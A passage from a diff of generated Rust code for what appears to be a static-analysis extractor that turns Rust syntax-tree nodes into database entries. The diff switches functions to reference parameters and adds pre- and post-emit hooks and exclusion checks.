node.async_token().is_some(); let is_const = node.const_token().is_some(); let is_gen = node.gen_token().is_some(); let is_move = node.move_token().is_some(); let is_try = node.try_token().is_some(); let is_unsafe = node.unsafe_token().is_some(); - let label = node.label().and_then(|x| self.emit_label(x)); - let stmt_list = node.stmt_list().and_then(|x| self.emit_stmt_list(x)); + let label = node.label().and_then(|x| self.emit_label(&x)); + let stmt_list = node.stmt_list().and_then(|x| self.emit_stmt_list(&x)); let label = self.trap.emit(generated::BlockExpr { id: TrapId::Star, attrs, @@ -533,99 +748,144 @@ impl Translator<'_> { label, stmt_list, }); - self.emit_location(label, &node); - emit_detached!(BlockExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(BlockExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_box_pat(&mut self, node: ast::BoxPat) -> Option> { - let pat = node.pat().and_then(|x| self.emit_pat(x)); + pub(crate) fn emit_box_pat(&mut self, node: &ast::BoxPat) -> Option> { + pre_emit!(BoxPat, self, node); + if self.should_be_excluded(node) { + return None; + } + let pat = node.pat().and_then(|x| self.emit_pat(&x)); let label = self.trap.emit(generated::BoxPat { id: TrapId::Star, pat, }); - self.emit_location(label, &node); - emit_detached!(BoxPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(BoxPat, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_break_expr(&mut self, node: ast::BreakExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); - let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(x)); + pub(crate) fn emit_break_expr( + &mut self, + node: &ast::BreakExpr, + ) -> Option> { + pre_emit!(BreakExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); + let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); let label = self.trap.emit(generated::BreakExpr { id: TrapId::Star, attrs, expr, lifetime, }); - self.emit_location(label, &node); - emit_detached!(BreakExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(BreakExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_call_expr(&mut self, node: ast::CallExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let arg_list = node.arg_list().and_then(|x| self.emit_arg_list(x)); - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let function = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_call_expr( + &mut self, + node: &ast::CallExpr, + ) -> Option> { + pre_emit!(CallExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let arg_list = node.arg_list().and_then(|x| self.emit_arg_list(&x)); + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let function = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::CallExpr { id: TrapId::Star, arg_list, attrs, function, }); - self.emit_location(label, &node); - emit_detached!(CallExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(CallExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_cast_expr(&mut self, node: ast::CastExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + pub(crate) fn emit_cast_expr( + &mut self, + node: &ast::CastExpr, + ) -> Option> { + pre_emit!(CastExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::CastExpr { id: TrapId::Star, attrs, expr, type_repr, }); - self.emit_location(label, &node); - emit_detached!(CastExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(CastExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_closure_binder(&mut self, node: ast::ClosureBinder) -> Option> { - let generic_param_list = node.generic_param_list().and_then(|x| self.emit_generic_param_list(x)); + pub(crate) fn emit_closure_binder( + &mut self, + node: &ast::ClosureBinder, + ) -> Option> { + pre_emit!(ClosureBinder, self, node); + if self.should_be_excluded(node) { + return None; + } + let generic_param_list = node + .generic_param_list() + .and_then(|x| self.emit_generic_param_list(&x)); let label = self.trap.emit(generated::ClosureBinder { id: TrapId::Star, generic_param_list, }); - self.emit_location(label, &node); - emit_detached!(ClosureBinder, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(ClosureBinder, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_closure_expr(&mut self, node: ast::ClosureExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let body = node.body().and_then(|x| self.emit_expr(x)); - let closure_binder = node.closure_binder().and_then(|x| self.emit_closure_binder(x)); + pub(crate) fn emit_closure_expr( + &mut self, + node: &ast::ClosureExpr, + ) -> Option> { + pre_emit!(ClosureExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let body = node.body().and_then(|x| self.emit_expr(&x)); + let closure_binder = node + .closure_binder() + .and_then(|x| self.emit_closure_binder(&x)); let is_async = node.async_token().is_some(); let is_const = node.const_token().is_some(); let is_gen = node.gen_token().is_some(); let is_move = node.move_token().is_some(); let is_static = node.static_token().is_some(); - let param_list = node.param_list().and_then(|x| self.emit_param_list(x)); - let ret_type = node.ret_type().and_then(|x| self.emit_ret_type(x)); + let param_list = node.param_list().and_then(|x| self.emit_param_list(&x)); + let ret_type = node.ret_type().and_then(|x| self.emit_ret_type(&x)); let label = self.trap.emit(generated::ClosureExpr { id: TrapId::Star, attrs, @@ -639,21 +899,26 @@ impl Translator<'_> { param_list, ret_type, }); - self.emit_location(label, &node); - emit_detached!(ClosureExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(ClosureExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_const(&mut self, node: ast::Const) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let body = node.body().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_const(&mut self, node: &ast::Const) -> Option> { + pre_emit!(Const, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let body = node.body().and_then(|x| self.emit_expr(&x)); let is_const = node.const_token().is_some(); let is_default = node.default_token().is_some(); - let name = node.name().and_then(|x| self.emit_name(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); let label = self.trap.emit(generated::Const { id: TrapId::Star, attrs, @@ -664,45 +929,65 @@ impl Translator<'_> { type_repr, visibility, }); - self.emit_location(label, &node); - emit_detached!(Const, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(Const, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_const_arg(&mut self, node: ast::ConstArg) -> Option> { - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_const_arg( + &mut self, + node: &ast::ConstArg, + ) -> Option> { + pre_emit!(ConstArg, self, node); + if self.should_be_excluded(node) { + return None; + } + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::ConstArg { id: TrapId::Star, expr, }); - self.emit_location(label, &node); - emit_detached!(ConstArg, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(ConstArg, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_const_block_pat(&mut self, node: ast::ConstBlockPat) -> Option> { - let block_expr = node.block_expr().and_then(|x| self.emit_block_expr(x)); + pub(crate) fn emit_const_block_pat( + &mut self, + node: &ast::ConstBlockPat, + ) -> Option> { + pre_emit!(ConstBlockPat, self, node); + if self.should_be_excluded(node) { + return None; + } + let block_expr = node.block_expr().and_then(|x| self.emit_block_expr(&x)); let is_const = node.const_token().is_some(); let label = self.trap.emit(generated::ConstBlockPat { id: TrapId::Star, block_expr, is_const, }); - self.emit_location(label, &node); - emit_detached!(ConstBlockPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(ConstBlockPat, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_const_param(&mut self, node: ast::ConstParam) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let default_val = node.default_val().and_then(|x| self.emit_const_arg(x)); + pub(crate) fn emit_const_param( + &mut self, + node: &ast::ConstParam, + ) -> Option> { + pre_emit!(ConstParam, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let default_val = node.default_val().and_then(|x| self.emit_const_arg(&x)); let is_const = node.const_token().is_some(); - let name = node.name().and_then(|x| self.emit_name(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::ConstParam { id: TrapId::Star, attrs, @@ -711,47 +996,70 @@ impl Translator<'_> { name, type_repr, }); - self.emit_location(label, &node); - emit_detached!(ConstParam, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(ConstParam, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_continue_expr(&mut self, node: ast::ContinueExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(x)); + pub(crate) fn emit_continue_expr( + &mut self, + node: &ast::ContinueExpr, + ) -> Option> { + pre_emit!(ContinueExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); let label = self.trap.emit(generated::ContinueExpr { id: TrapId::Star, attrs, lifetime, }); - self.emit_location(label, &node); - emit_detached!(ContinueExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(ContinueExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_dyn_trait_type(&mut self, node: ast::DynTraitType) -> Option> { - let type_bound_list = node.type_bound_list().and_then(|x| self.emit_type_bound_list(x)); + pub(crate) fn emit_dyn_trait_type( + &mut self, + node: &ast::DynTraitType, + ) -> Option> { + pre_emit!(DynTraitTypeRepr, self, node); + if self.should_be_excluded(node) { + return None; + } + let type_bound_list = node + .type_bound_list() + .and_then(|x| self.emit_type_bound_list(&x)); let label = self.trap.emit(generated::DynTraitTypeRepr { id: TrapId::Star, type_bound_list, }); - self.emit_location(label, &node); - emit_detached!(DynTraitTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(DynTraitTypeRepr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_enum(&mut self, node: ast::Enum) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let generic_param_list = node.generic_param_list().and_then(|x| self.emit_generic_param_list(x)); - let name = node.name().and_then(|x| self.emit_name(x)); - let variant_list = node.variant_list().and_then(|x| self.emit_variant_list(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); - let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(x)); + pub(crate) fn emit_enum(&mut self, node: &ast::Enum) -> Option> { + pre_emit!(Enum, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let generic_param_list = node + .generic_param_list() + .and_then(|x| self.emit_generic_param_list(&x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let variant_list = node.variant_list().and_then(|x| self.emit_variant_list(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); + let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(&x)); let label = self.trap.emit(generated::Enum { id: TrapId::Star, attrs, @@ -761,29 +1069,45 @@ impl Translator<'_> { visibility, where_clause, }); - self.emit_location(label, &node); - emit_detached!(Enum, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(Enum, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_expr_stmt(&mut self, node: ast::ExprStmt) -> Option> { - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_expr_stmt( + &mut self, + node: &ast::ExprStmt, + ) -> Option> { + pre_emit!(ExprStmt, self, node); + if self.should_be_excluded(node) { + return None; + } + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::ExprStmt { id: TrapId::Star, expr, }); - self.emit_location(label, &node); - emit_detached!(ExprStmt, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(ExprStmt, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_extern_block(&mut self, node: ast::ExternBlock) -> Option> { - if self.should_be_excluded(&node) { return None; } - let abi = node.abi().and_then(|x| self.emit_abi(x)); - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let extern_item_list = node.extern_item_list().and_then(|x| self.emit_extern_item_list(x)); + pub(crate) fn emit_extern_block( + &mut self, + node: &ast::ExternBlock, + ) -> Option> { + pre_emit!(ExternBlock, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let abi = node.abi().and_then(|x| self.emit_abi(&x)); + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let extern_item_list = node + .extern_item_list() + .and_then(|x| self.emit_extern_item_list(&x)); let is_unsafe = node.unsafe_token().is_some(); let label = self.trap.emit(generated::ExternBlock { id: TrapId::Star, @@ -792,18 +1116,26 @@ impl Translator<'_> { extern_item_list, is_unsafe, }); - self.emit_location(label, &node); - emit_detached!(ExternBlock, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(ExternBlock, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_extern_crate(&mut self, node: ast::ExternCrate) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x)); - let rename = node.rename().and_then(|x| self.emit_rename(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); + pub(crate) fn emit_extern_crate( + &mut self, + node: &ast::ExternCrate, + ) -> Option> { + pre_emit!(ExternCrate, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let identifier = node.name_ref().and_then(|x| self.emit_name_ref(&x)); + let rename = node.rename().and_then(|x| self.emit_rename(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); let label = self.trap.emit(generated::ExternCrate { id: TrapId::Star, attrs, @@ -811,60 +1143,86 @@ impl Translator<'_> { rename, visibility, }); - self.emit_location(label, &node); - emit_detached!(ExternCrate, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(ExternCrate, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_extern_item_list(&mut self, node: ast::ExternItemList) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let extern_items = node.extern_items().filter_map(|x| self.emit_extern_item(x)).collect(); + pub(crate) fn emit_extern_item_list( + &mut self, + node: &ast::ExternItemList, + ) -> Option> { + pre_emit!(ExternItemList, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let extern_items = node + .extern_items() + .filter_map(|x| self.emit_extern_item(&x)) + .collect(); let label = self.trap.emit(generated::ExternItemList { id: TrapId::Star, attrs, extern_items, }); - self.emit_location(label, &node); - emit_detached!(ExternItemList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(ExternItemList, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_field_expr(&mut self, node: ast::FieldExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let container = node.expr().and_then(|x| self.emit_expr(x)); - let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x)); + pub(crate) fn emit_field_expr( + &mut self, + node: &ast::FieldExpr, + ) -> Option> { + pre_emit!(FieldExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let container = node.expr().and_then(|x| self.emit_expr(&x)); + let identifier = node.name_ref().and_then(|x| self.emit_name_ref(&x)); let label = self.trap.emit(generated::FieldExpr { id: TrapId::Star, attrs, container, identifier, }); - self.emit_location(label, &node); - emit_detached!(FieldExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(FieldExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_fn(&mut self, node: ast::Fn) -> Option> { - if self.should_be_excluded(&node) { return None; } - let abi = node.abi().and_then(|x| self.emit_abi(x)); - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let body = node.body().and_then(|x| self.emit_block_expr(x)); - let generic_param_list = node.generic_param_list().and_then(|x| self.emit_generic_param_list(x)); + pub(crate) fn emit_fn(&mut self, node: &ast::Fn) -> Option> { + pre_emit!(Function, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let abi = node.abi().and_then(|x| self.emit_abi(&x)); + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let body = node.body().and_then(|x| self.emit_block_expr(&x)); + let generic_param_list = node + .generic_param_list() + .and_then(|x| self.emit_generic_param_list(&x)); let is_async = node.async_token().is_some(); let is_const = node.const_token().is_some(); let is_default = node.default_token().is_some(); let is_gen = node.gen_token().is_some(); let is_unsafe = node.unsafe_token().is_some(); - let name = node.name().and_then(|x| self.emit_name(x)); - let param_list = node.param_list().and_then(|x| self.emit_param_list(x)); - let ret_type = node.ret_type().and_then(|x| self.emit_ret_type(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); - let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let param_list = node.param_list().and_then(|x| self.emit_param_list(&x)); + let ret_type = node.ret_type().and_then(|x| self.emit_ret_type(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); + let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(&x)); let label = self.trap.emit(generated::Function { id: TrapId::Star, abi, @@ -882,19 +1240,25 @@ impl Translator<'_> { visibility, where_clause, }); - self.emit_location(label, &node); - emit_detached!(Function, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(Function, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_fn_ptr_type(&mut self, node: ast::FnPtrType) -> Option> { - let abi = node.abi().and_then(|x| self.emit_abi(x)); + pub(crate) fn emit_fn_ptr_type( + &mut self, + node: &ast::FnPtrType, + ) -> Option> { + pre_emit!(FnPtrTypeRepr, self, node); + if self.should_be_excluded(node) { + return None; + } + let abi = node.abi().and_then(|x| self.emit_abi(&x)); let is_async = node.async_token().is_some(); let is_const = node.const_token().is_some(); let is_unsafe = node.unsafe_token().is_some(); - let param_list = node.param_list().and_then(|x| self.emit_param_list(x)); - let ret_type = node.ret_type().and_then(|x| self.emit_ret_type(x)); + let param_list = node.param_list().and_then(|x| self.emit_param_list(&x)); + let ret_type = node.ret_type().and_then(|x| self.emit_ret_type(&x)); let label = self.trap.emit(generated::FnPtrTypeRepr { id: TrapId::Star, abi, @@ -904,19 +1268,27 @@ impl Translator<'_> { param_list, ret_type, }); - self.emit_location(label, &node); - emit_detached!(FnPtrTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(FnPtrTypeRepr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_for_expr(&mut self, node: ast::ForExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let iterable = node.iterable().and_then(|x| self.emit_expr(x)); - let label = node.label().and_then(|x| self.emit_label(x)); - let loop_body = node.loop_body().and_then(|x| self.emit_block_expr(x)); - let pat = node.pat().and_then(|x| self.emit_pat(x)); + pub(crate) fn emit_for_expr( + &mut self, + node: &ast::ForExpr, + ) -> Option> { + pre_emit!(ForExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let iterable = node.iterable().and_then(|x| self.emit_expr(&x)); + let label = node.label().and_then(|x| self.emit_label(&x)); + let loop_body = node.loop_body().and_then(|x| self.emit_block_expr(&x)); + let pat = node.pat().and_then(|x| self.emit_pat(&x)); let label = self.trap.emit(generated::ForExpr { id: TrapId::Star, attrs, @@ -925,88 +1297,139 @@ impl Translator<'_> { loop_body, pat, }); - self.emit_location(label, &node); - emit_detached!(ForExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(ForExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_for_type(&mut self, node: ast::ForType) -> Option> { - let generic_param_list = node.generic_param_list().and_then(|x| self.emit_generic_param_list(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + pub(crate) fn emit_for_type( + &mut self, + node: &ast::ForType, + ) -> Option> { + pre_emit!(ForTypeRepr, self, node); + if self.should_be_excluded(node) { + return None; + } + let generic_param_list = node + .generic_param_list() + .and_then(|x| self.emit_generic_param_list(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::ForTypeRepr { id: TrapId::Star, generic_param_list, type_repr, }); - self.emit_location(label, &node); - emit_detached!(ForTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(ForTypeRepr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_format_args_arg(&mut self, node: ast::FormatArgsArg) -> Option> { - let expr = node.expr().and_then(|x| self.emit_expr(x)); - let name = node.name().and_then(|x| self.emit_name(x)); + pub(crate) fn emit_format_args_arg( + &mut self, + node: &ast::FormatArgsArg, + ) -> Option> { + pre_emit!(FormatArgsArg, self, node); + if self.should_be_excluded(node) { + return None; + } + let expr = node.expr().and_then(|x| self.emit_expr(&x)); + let name = node.name().and_then(|x| self.emit_name(&x)); let label = self.trap.emit(generated::FormatArgsArg { id: TrapId::Star, expr, name, }); - self.emit_location(label, &node); - emit_detached!(FormatArgsArg, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(FormatArgsArg, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_format_args_expr(&mut self, node: ast::FormatArgsExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let args = node.args().filter_map(|x| self.emit_format_args_arg(x)).collect(); - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let template = node.template().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_format_args_expr( + &mut self, + node: &ast::FormatArgsExpr, + ) -> Option> { + pre_emit!(FormatArgsExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let args = node + .args() + .filter_map(|x| self.emit_format_args_arg(&x)) + .collect(); + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let template = node.template().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::FormatArgsExpr { id: TrapId::Star, args, attrs, template, }); - self.emit_location(label, &node); - emit_detached!(FormatArgsExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(FormatArgsExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_generic_arg_list(&mut self, node: ast::GenericArgList) -> Option> { - let generic_args = node.generic_args().filter_map(|x| self.emit_generic_arg(x)).collect(); + pub(crate) fn emit_generic_arg_list( + &mut self, + node: &ast::GenericArgList, + ) -> Option> { + pre_emit!(GenericArgList, self, node); + if self.should_be_excluded(node) { + return None; + } + let generic_args = node + .generic_args() + .filter_map(|x| self.emit_generic_arg(&x)) + .collect(); let label = self.trap.emit(generated::GenericArgList { id: TrapId::Star, generic_args, }); - self.emit_location(label, &node); - emit_detached!(GenericArgList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(GenericArgList, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_generic_param_list(&mut self, node: ast::GenericParamList) -> Option> { - let generic_params = node.generic_params().filter_map(|x| self.emit_generic_param(x)).collect(); + pub(crate) fn emit_generic_param_list( + &mut self, + node: &ast::GenericParamList, + ) -> Option> { + pre_emit!(GenericParamList, self, node); + if self.should_be_excluded(node) { + return None; + } + let generic_params = node + .generic_params() + .filter_map(|x| self.emit_generic_param(&x)) + .collect(); let label = self.trap.emit(generated::GenericParamList { id: TrapId::Star, generic_params, }); - self.emit_location(label, &node); - emit_detached!(GenericParamList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(GenericParamList, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_ident_pat(&mut self, node: ast::IdentPat) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); + pub(crate) fn emit_ident_pat( + &mut self, + node: &ast::IdentPat, + ) -> Option> { + pre_emit!(IdentPat, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let is_mut = node.mut_token().is_some(); let is_ref = node.ref_token().is_some(); - let name = node.name().and_then(|x| self.emit_name(x)); - let pat = node.pat().and_then(|x| self.emit_pat(x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let pat = node.pat().and_then(|x| self.emit_pat(&x)); let label = self.trap.emit(generated::IdentPat { id: TrapId::Star, attrs, @@ 